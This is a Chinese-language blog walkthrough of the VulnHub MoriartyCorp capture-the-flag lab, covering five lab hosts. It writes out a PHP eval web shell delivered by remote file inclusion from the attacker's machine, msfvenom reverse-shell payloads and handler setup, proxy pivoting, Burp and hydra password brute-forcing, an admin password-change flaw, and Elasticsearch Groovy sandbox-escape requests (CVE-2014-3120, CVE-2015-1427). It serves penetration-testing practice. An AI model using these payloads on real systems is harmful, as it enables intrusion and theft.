vulnhub靶机-MoriartyCorp

参考文章:Moriarty Corp靶场攻略_Ms08067安全实验室的博客-CSDN博客

由于参考了这篇文章,所以前期使用kali做的,但是后面可能由于自身原因,达不到和他一样的效果,所以用了windows的reGeorg进行代理(后面会知道),其实可以全程在windows下操作。

环境:虚拟机采用桥接模式

靶机ip:192.168.0.106(还有一个内网ip)

内网ip段:172.17.0.0/24

kali:192.168.0.113

真机:这个ip没有用到

目录

一、获取公网主机权限(获取第一个flag)

二、渗透内网web服务器(获取第二个flag)

三、爆破内网SSH服务器用户和密码(获取第三个flag)

四、渗透内网聊天服务器(获取第四个flag)

五、内网渗透Elasticsearch服务(获取第五个flag)

六、总结


一、获取公网主机权限(获取第一个flag)

1、在virtualbox导入虚拟机并打开,开启的时候可能会提示错误,在设置里面把usb设备禁用就行了

2、使用kali扫描发现主机ip

netdiscover -r 192.168.0.0/24

3、扫描目标主机的开放端口

nmap 192.168.0.6
由于我这里是靶机,只想获取端口,所以没加参数,想获取详细信息,可以加上-A参数,其他参数可自行百度

4、发现8000端口,直接浏览器访问,这里提示说要开始任务就得先输入flag{start},然后提交

5、输入flag{start}提交之后,得到下一步提示,访问80端口

6、访问80端口,点击 Blog POST 1 一下,发现url有点可疑,像是有文件包含漏洞。

7、尝试本地文件包含/etc/passwd,成功读取文件内容。

8、尝试包含远程文件,在kali上开启apache服务,输入

service apache2 start

启动服务,然后根目录是在/var/www/html下,默认端口是80,在其下面放入一句话木马文件shell.txt,后缀名不能使用php,之前记得做一个靶机,使用curl命令的时候,下载php-reverse-shell.php,得到的内容不是php代码,而是相当于浏览器的访问结果保存下来,所以这里使用txt格式

<?php @eval($_REQUEST['a']); ?>

9、文件包含执行php代码测试是否可行,发现成功执行

http://192.168.0.106/?file=http://192.168.0.113/shell.txt&a=phpinfo();

10、接下来就上神器--菜刀直接连接

11、进入根目录下那个第一个flag

flag{the_game_is_on}

12、在8000端口下提交flag,获取下一步提示,说有一个内部图片数据库站点,也就是web服务器,需要对内网进行扫描,扫描开放80端口的内网主机。

二、渗透内网web服务器(获取第二个flag)

到了这里有三种方法可以进行操作

方法一:使用kali在meterpreter下使用portfwd命令进行端口转发,windows+kali

1、在kali下生成用于反弹的payload文件

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.113 lport=8888 -f elf > shell.elf

2、在kali上使用msf开始监听

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.113
set lport 8888
run

3、将生成shell.elf文件拖到真机上,使用菜刀上传到/tmp目录,这个目录一般对任何用户都有可读可写可执行权限,打开虚拟终端,给这个文件执行权限(直接777最高权限),运行

4、kali成功接收到反弹的shell,可以使用ifconfig命令查看到它的内网地址为172.17.0.3

5、使用命令

run autoroute -s 172.17.0.0/24

创建路由,background命令将会话退到后台,然后使用route命令查看添加的路由

172.17.0.0/24网段的流量将会流向session 1,但是这个只能在msf里面起作用

6、使用msf的扫描模块扫描开放80端口的内网主机

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.0/24
set ports 80
run

7、扫描完成后发现有三台主机开放80端口

172.17.0.1--->应该是网关
172.17.0.3--->靶机
172.17.0.4--->要攻击的主机

8、sessions -i 1进入我们刚刚接收到的shell,使用命令

portfwd add -L 192.168.0.113 -l 2424 -p 80 -r 172.17.0.4

将本地的2424端口转发到172.17.0.4的80端口

下面这几步如果kali卡的话,都可以在真机上做

9、直接浏览器访问192.168.0.113:2424,发现是一个文件上传页面,但是上传需要密码

10、选择一句话木马文件shell.php,密码随便输,开启burpsuit抓包,使用top100密码字典进行爆破

发现密码为password的时候length不一样,所以我们在浏览器使用密码password成功上传shell.php文件,并且处于登录状态

10、测试木马能否利用,点击shell.php获取路径,加上参数,发现成功利用

11、二话不说,上菜刀

12、得到第二个flag,提交获取下一步提示

flag{picture_is_worth_1000_words}

方法二:前5步是一样的,这里是纯kali操作

6、使用socks4a代理

use auxiliary/server/socks4a
set SRVHOST 192.168.0.113
run

7、使用proxychains工具(kali自带)进行代理,编辑配置文件

leafpad /etc/proxychains.conf

在最后一行加上

socks4 192.168.0.113 1080

8、扫描端口

proxychains nmap 172.17.0.0/24 -sV  -sT  -Pn  -T4 -p80

扫描的结果是一样的,也是172.17.0.4

9、浏览器设置socks4代理,访问172.17.0.4

10、打开burpsuit配置代理

到这一步的时候发现这波代理访问不到,于是上网搜索发现使用auxiliary/server/socks4a做代理时,burpsuite不支持socks4a代理,导致无法使用burp去抓包,但是我使用socks5做代理时proxychains都不行,所以这里就卡住了,有兴趣的可以去研究一下这篇解决的文章。

方法三:使用reGeorg+proxifier,纯windows操作

1、这里是不需要反弹shell的,所以跟前面的方法不同,上传下载的reGeorg文件夹下的tunnel.nosocket.php脚本文件(因为这个网站是php环境搭建,然后上传tunnel.php文件访问时会是500错误)

2、访问时出现 Georg says, 'All seems fine' 即为成功

3、现在执行python脚本

python reGeorgSocksProxy.py -u http://192.168.0.106/tunnel.nosocket.php -p 9999(本地端口)

4、配置proxifier

配置文件->代理服务器->编辑

配置文件->代理规则

5、访问172.17.0.4(这个ip地址可以使用windows的zenmap工具进行扫描发现)

6、使用burp进行socks代理进行抓包爆破

burpsuit配置

网站配置代理服务器:127.0.0.1 端口8080

访问172.17.0.4,抓包成功,并且能够得到响应

后面的步骤就和方法一一样了,爆破密码,上传shell,菜刀连接,得到flag

最后,提交flag,获取下一步提示,给了几个用户名和密码的hash值,密码拿去网站解密

63a9f0ea7bb98050796b649e85481845  root
7b24afc8bc80e548d66c4e7ff72171c5  toor
5f4dcc3b5aa765d61d8327deb882cf99  password
21232f297a57a5a743894a0e4a801fc3  admin
084e0343a0486ff05530df6c705c8bb4  guest
697c6cc76fdbde5baccb7b3400391e30  MORIARTY
8839cfc8a0f24eb155ae3f7f205f5cbc  MCORP
35ac704fe1cc7807c914af478f20fd35  mcorp
b27a803ed346fbbf6d2e2eb88df1c51b  weapons
08552d48aa6d6d9c05dd67f1b4ba8747  moriarty

三、爆破内网SSH服务器用户和密码(获取第三个flag)

1、主机发现,找寻开放22端口开放的主机,kali,windows都行,但是使用windows的时候,上面的代理是不能关的,为了方便,这里都选用kali,成功找到是172.17.0.5

proxychains nmap 172.17.0.0/24 -sV  -sT  -Pn  -T4 -p22

2、爆破工具选用hydra(kali自带),现在本地新建一个用户名文件:user.txt,密码文件:pass.txt,使用命令

proxychains hydra -L user.txt -P pass.txt ssh://172.17.0.5 -t 4
-t:设置并发数
不能太高

成功得到用户名:root,密码:weapons

3、ssh到目标主机,我使用命令

proxychains ssh root@172.17.0.5

只成功了一次,后来再试就是没有反应了,于是到windows上使用另外一款神器MobaXterm设置代理进行ssh

4、MobaXterm配置

5、使用root/weapons成功登录

6、得到第三个flag

flag{what_weapons}

7、提交flag,获取下一步提示,有一个聊天网站不在80端口,可能在443,8000,8080,8888端口上面,然后还有一个用户名和密码:buyer13/arms13,然后需要我们获取管理员账户的聊天记录

四、渗透内网聊天服务器(获取第四个flag)

1、在kali进行扫描,找到172.17.0.6开放8000端口

proxychains nmap 172.17.0.0/24 -sV  -sT  -Pn  -T4 -p443,8000,8080,8888

2、访问172.17.0.6:8000,发现需要登录

3、使用之前给的buyer13/arms13成功登录,发现一个chats和一个change password,猜测应该是越权修改admin的密码,然后查看admin的chats内容

4、点击change password

5、启用burpsuit抓包,输入123,点击change,成功抓到包

6、修改buyer13为admin

7、测试是否成功,刷新页面,burpsuit抓包,删除认证信息,需要重新登录

这里也可以不删除而直接认证,因为Basic后面的内容像是base64编码,使用burpsuit的decoder模块解密

于是我们可以将admin:123进行base64编码然后修改原来的base64的值也可以成功登陆

但是这个每次刷新都需要修改

8、使用admin/123成功登录,查看chats内容,得到第四个flag

flag{on_the_move}

9、提交flag,获取下一步提示,发现说有一台主机上面运行着Elasticsearch服务

五、内网渗透Elasticsearch服务(获取第五个flag)

1、百度之后发现该服务是运行在9200端口,扫描主机,发现172.17.0.7主机开放端口9200

proxychains nmap 172.17.0.0/24 -sV  -sT  -Pn  -T4 -p9200

2、访问成功

3、本地的poc是python文件,但是我没有利用成功,于是百度手工利用的方法,先使用下面数据包创建一条数据,参考博客:ElasticSearch 命令执行漏洞(CVE-2014-3120) - 阿丘不秋 - 博客园

POST /mitian/mitian6/ HTTP/1.1
Host: 172.17.0.7:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

{  "name": "kjsx"}

4、使用下面的数据包进行任意命令执行,参考博客:漏洞复现-ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427) - Sally_Zhang - 博客园

POST /_search?pretty HTTP/1.1
Host: 172.17.0.7:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 168

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat 6_flag.txt\").getText()"}}}

5、成功执行

6、将ls修改成cat 6_flag.txt,成功获取第五个flag

flag{game_over}

7、提交flag的提示,感谢之后被拉入黑名单了,下面的游戏进度条也满了

六、总结

1、这个靶机下载花了不少功夫,然后后来这文件又损坏了,还是叫朋友帮我下的

2、这个靶机每次休眠或者关机之后就不行了,得重新导入

3、跟着那个参考博客做的时候遇到了很多问题,所以后来只能自己百度另外的内网渗透方法

4、这个最后的flag文件名是6_flag.txt,按照取名字的规律,应该有6个flag,算上flag{start}确实是6个flag,但是他最开始的文件名又是1_flag.txt,所以感觉这算是个小bug,这强迫症能忍?

5、收获满满,有问题可以找我

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值